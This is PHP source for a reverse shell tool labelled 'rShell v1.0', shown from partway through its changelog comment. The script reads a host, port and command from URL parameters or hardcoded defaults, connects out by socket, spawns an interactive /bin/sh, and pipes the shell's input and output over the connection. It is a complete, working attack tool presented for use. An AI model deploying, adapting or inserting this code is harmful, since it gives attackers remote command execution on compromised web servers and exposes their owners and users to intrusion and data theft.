Added auto_run 1.1.1 => Found out i totally screw up the code :-) */ //define("auto_run", 1); // Enable this if you want to run automaticly $c["host"] = "localhost"; $c["port"] = 1337; $c["exec"] = "uname -a; id; /bin/sh -i"; function err($txt) { die("$txt"); } // I know it's stupid... It's just a quick fix :) if (!defined("auto_run")) { $fr = False; $c = $_GET; if ((empty($c["host"])) || (empty($c["port"])) || (empty($c["exec"]))) { $fr = True; echo "
rShell executing... ({$c["host"]}:{$c["port"]} || {$c["exec"]})\r\n";
/* echo "Fucntion pcntl_fork()... ";
if (!function_exists("pcntl_fork")) echo "Not exists - Not fatal however (and common)\r\n";
else
{
echo "OK\r\nDemoize... ";
$pid = pcntl_fork();
if ($pid == -1) err("Failed (fork)");
if ($pid) exit(0); // We are parent... Fuck parents
if (posix_setsid() == -1) err("Failed (posix_sesid)");
echo "OK\r\n";
} */
echo "Function fsockopen()... ";
if (!function_exists("fsockopen")) err("Not exists");
else echo "OK\r\nFunction proc_open()... ";
if (!function_exists("proc_open")) err("Not exists");
else echo "OK\r\nConnecting {$c["host"]}:{$c["port"]}... ";
$sock = fsockopen($c["host"], $c["port"], $errno, $errstr, 5);
if (!$sock) err("Fail! - $errno ($errstr)");
else echo "OK\r\nSpawning shell... ";
$pdesc = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($c["exec"], $pdesc, $pipes);
if (!is_resource($process)) err("Fail!");
else echo "OK\r\nFinalizing... ";
// All to non-blocking (Sometimes blocks for no reason)
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
echo "OK, shell open. Have fun!\r\n";
fwrite($sock, "rShell v1.0 - Ready\r\n-----------------------------------------------\r\n");
while (TRUE)
{
if (feof($sock))
{
$err = "Socket terminated";
break;
}
if (feof($pipes[1]))
{
$err = "Shell terminated!";
break;
}
// Wait untill we recive something
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) // Socket -> Process
{
$input = fread($sock, 1400);
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) // Process (STDOUT) -> Socket
{
$input = fread($pipes[1], 1400);
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) // Process (STDERR) -> Socket
{
$input = fread($pipes[2], 1400);
fwrite($sock, $input);
}
}
// w00t! Someone screw up 100% and we have to clean up :-)
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
echo "$err";
}
?>